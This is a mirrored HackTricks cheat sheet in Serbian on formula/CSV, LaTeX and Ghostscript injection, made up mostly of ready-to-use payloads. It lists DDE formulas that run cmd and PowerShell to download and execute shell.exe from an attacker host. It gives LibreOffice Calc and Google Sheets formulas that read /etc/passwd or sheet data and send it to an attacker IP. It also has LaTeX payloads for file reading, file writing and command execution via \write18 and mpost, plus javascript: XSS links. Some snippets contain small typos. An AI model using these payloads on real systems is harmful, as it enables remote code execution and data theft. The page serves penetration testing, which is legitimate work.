mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
220 lines
12 KiB
Markdown
220 lines
12 KiB
Markdown
# Formula/CSV/Doc/LaTeX/GhostScript Injection
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
**Try Hard Security Group**
|
||
|
||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||
|
||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||
|
||
***
|
||
|
||
## Formula Injection
|
||
|
||
### Info
|
||
|
||
Ako je vaš **ulaz** **reflektovan** unutar **CSV datoteka** (ili bilo koje druge datoteke koja će verovatno biti otvorena u **Excelu**), možda ćete moći da stavite **formule** u Excelu koje će biti **izvršene** kada korisnik **otvori datoteku** ili kada korisnik **klikne na neki link** unutar Excel tabele.
|
||
|
||
{% hint style="danger" %}
|
||
Danas **Excel će upozoriti** (više puta) **korisnika kada se nešto učita izvan Excela** kako bi ga sprečio da preduzme maliciozne radnje. Stoga, poseban napor na socijalnom inženjeringu mora biti primenjen na konačni payload.
|
||
{% endhint %}
|
||
|
||
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
|
||
```
|
||
DDE ("cmd";"/C calc";"!A0")A0
|
||
@SUM(1+9)*cmd|' /C calc'!A0
|
||
=10+20+cmd|' /C calc'!A0
|
||
=cmd|' /C notepad'!'A1'
|
||
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
|
||
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
|
||
```
|
||
### Hyperlink
|
||
|
||
**Sledeći primer je veoma koristan za ekfiltraciju sadržaja iz konačnog excel lista i za slanje zahteva na proizvoljne lokacije. Ali zahteva da korisnik klikne na link (i prihvati upozorenja).**
|
||
|
||
Sledeći primer je preuzet sa [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
||
|
||
Zamislite bezbednosni propust u sistemu za upravljanje podacima o studentima koji se eksploatiše putem napada CSV injekcijom. Primarna namera napadača je da kompromituje sistem koji koriste nastavnici za upravljanje podacima o studentima. Metoda uključuje napadača koji ubacuje zloćudni payload u aplikaciju, posebno tako što unosi štetne formule u polja namenjena podacima o studentima. Napad se odvija na sledeći način:
|
||
|
||
1. **Injekcija Zloćudnog Payload-a:**
|
||
* Napadač šalje obrazac za podatke o studentu, ali uključuje formulu koja se obično koristi u tabelama (npr., `=HYPERLINK("<malicious_link>","Click here")`).
|
||
* Ova formula je dizajnirana da kreira hyperlink, ali upućuje na zloćudni server koji kontroliše napadač.
|
||
2. **Izvoz Kompromitovanih Podataka:**
|
||
* Nastavnici, nesvesni kompromitacije, koriste funkcionalnost aplikacije da izvezu podatke u CSV datoteku.
|
||
* CSV datoteka, kada se otvori, i dalje sadrži zloćudni payload. Ovaj payload se pojavljuje kao klikabilni hyperlink u tabeli.
|
||
3. **Pokretanje Napada:**
|
||
* Nastavnik klikne na hyperlink, verujući da je to legitimni deo podataka o studentu.
|
||
* Nakon klika, osetljivi podaci (potencijalno uključujući detalje iz tabele ili računara nastavnika) se šalju na server napadača.
|
||
4. **Zapisivanje Podataka:**
|
||
* Server napadača prima i beleži osetljive podatke poslati sa računara nastavnika.
|
||
* Napadač može zatim koristiti ove podatke za razne zloćudne svrhe, dodatno kompromitujući privatnost i bezbednost studenata i institucije.
|
||
|
||
### RCE
|
||
|
||
**Proverite** [**originalni post**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **za dodatne detalje.**
|
||
|
||
U specifičnim konfiguracijama ili starijim verzijama Excela, funkcija pod nazivom Dinamička razmena podataka (DDE) može se iskoristiti za izvršavanje proizvoljnih komandi. Da bi se to iskoristilo, sledeće postavke moraju biti omogućene:
|
||
|
||
* Idite na File → Options → Trust Center → Trust Center Settings → External Content, i omogućite **Pokretanje DDE servera**.
|
||
|
||
Kada se otvori tabela sa zloćudnim payload-om (i ako korisnik prihvati upozorenja), payload se izvršava. Na primer, da pokrene aplikaciju kalkulatora, payload bi bio:
|
||
```markdown
|
||
=cmd|' /C calc'!xxx
|
||
```
|
||
Dodatne komande takođe mogu biti izvršene, kao što je preuzimanje i izvršavanje datoteke koristeći PowerShell:
|
||
```bash
|
||
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
|
||
```
|
||
### Local File Inclusion (LFI) in LibreOffice Calc
|
||
|
||
LibreOffice Calc se može koristiti za čitanje lokalnih fajlova i exfiltraciju podataka. Evo nekoliko metoda:
|
||
|
||
* Čitanje prve linije iz lokalnog `/etc/passwd` fajla: `='file:///etc/passwd'#$passwd.A1`
|
||
* Exfiltracija pročitanih podataka na server pod kontrolom napadača: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
|
||
* Exfiltracija više od jedne linije: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
||
* DNS exfiltracija (slanje pročitanih podataka kao DNS upita na DNS server pod kontrolom napadača): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
|
||
|
||
### Google Sheets for Out-of-Band (OOB) Data Exfiltration
|
||
|
||
Google Sheets nudi funkcije koje se mogu iskoristiti za OOB exfiltraciju podataka:
|
||
|
||
* **CONCATENATE**: Spaja stringove - `=CONCATENATE(A2:E2)`
|
||
* **IMPORTXML**: Uvozi podatke iz strukturiranih tipova podataka - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
|
||
* **IMPORTFEED**: Uvozi RSS ili ATOM feedove - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
|
||
* **IMPORTHTML**: Uvozi podatke iz HTML tabela ili listi - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
|
||
* **IMPORTRANGE**: Uvozi opseg ćelija iz druge tabele - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
|
||
* **IMAGE**: Umeće sliku u ćeliju - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
|
||
|
||
## LaTeX Injection
|
||
|
||
Obično serveri koji se nalaze na internetu i **konvertuju LaTeX kod u PDF** koriste **`pdflatex`**.\
|
||
Ovaj program koristi 3 glavna atributa za (ne)dozvoljavanje izvršavanja komandi:
|
||
|
||
* **`--no-shell-escape`**: **Onemogućava** konstrukciju `\write18{command}`, čak i ako je omogućena u texmf.cnf fajlu.
|
||
* **`--shell-restricted`**: Isto kao `--shell-escape`, ali **ograničeno** na 'siguran' skup **predefinisanih** \*\*komandi (\*\*Na Ubuntu 16.04 lista se nalazi u `/usr/share/texmf/web2c/texmf.cnf`).
|
||
* **`--shell-escape`**: **Omogućava** konstrukciju `\write18{command}`. Komanda može biti bilo koja shell komanda. Ova konstrukcija je obično onemogućena iz bezbednosnih razloga.
|
||
|
||
Međutim, postoje i drugi načini za izvršavanje komandi, pa je veoma važno koristiti `--shell-restricted` kako bi se izbeglo RCE.
|
||
|
||
### Read file <a href="#read-file" id="read-file"></a>
|
||
|
||
Možda ćete morati da prilagodite injekciju sa omotačima kao što su \[ ili $.
|
||
```bash
|
||
\input{/etc/passwd}
|
||
\include{password} # load .tex file
|
||
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
|
||
\usepackage{verbatim}
|
||
\verbatiminput{/etc/passwd}
|
||
```
|
||
#### Čitajte datoteku sa jednim redom
|
||
```bash
|
||
\newread\file
|
||
\openin\file=/etc/issue
|
||
\read\file to\line
|
||
\text{\line}
|
||
\closein\file
|
||
```
|
||
#### Čitanje datoteke sa više redova
|
||
```bash
|
||
\newread\file
|
||
\openin\file=/etc/passwd
|
||
\loop\unless\ifeof\file
|
||
\read\file to\fileline
|
||
\text{\fileline}
|
||
\repeat
|
||
\closein\file
|
||
```
|
||
### Napiši datoteku <a href="#write-file" id="write-file"></a>
|
||
```bash
|
||
\newwrite\outfile
|
||
\openout\outfile=cmd.tex
|
||
\write\outfile{Hello-world}
|
||
\closeout\outfile
|
||
```
|
||
### Izvršenje komande <a href="#command-execution" id="command-execution"></a>
|
||
|
||
Ulaz komande će biti preusmeren na stdin, koristite privremenu datoteku da biste ga dobili.
|
||
```bash
|
||
\immediate\write18{env > output}
|
||
\input{output}
|
||
|
||
\input{|"/bin/hostname"}
|
||
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
|
||
|
||
# allowed mpost command RCE
|
||
\documentclass{article}\begin{document}
|
||
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
|
||
\end{document}
|
||
|
||
# If mpost is not allowed there are other commands you might be able to execute
|
||
## Just get the version
|
||
\input{|"bibtex8 --version > /tmp/b.tex"}
|
||
## Search the file pdfetex.ini
|
||
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
|
||
## Get env var value
|
||
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
|
||
## Get the value of shell_escape_commands without needing to read pdfetex.ini
|
||
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
|
||
```
|
||
Ако добијете било какву LaTex грешку, размислите о коришћењу base64 да добијете резултат без лоших карактера.
|
||
```bash
|
||
\immediate\write18{env | base64 > test.tex}
|
||
\input{text.tex}
|
||
```
|
||
|
||
```bash
|
||
\input|ls|base4
|
||
\input{|"/bin/hostname"}
|
||
```
|
||
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
|
||
|
||
Od [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
||
```bash
|
||
\url{javascript:alert(1)}
|
||
\href{javascript:alert(1)}{placeholder}
|
||
```
|
||
## Ghostscript Injection
|
||
|
||
**Proverite** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
|
||
|
||
## Reference
|
||
|
||
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
|
||
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
|
||
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
|
||
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
|
||
|
||
**Pokušajte Hard Security Grupa**
|
||
|
||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||
|
||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||
|
||
{% hint style="success" %}
|
||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Podržite HackTricks</summary>
|
||
|
||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||
|
||
</details>
|
||
{% endhint %}
|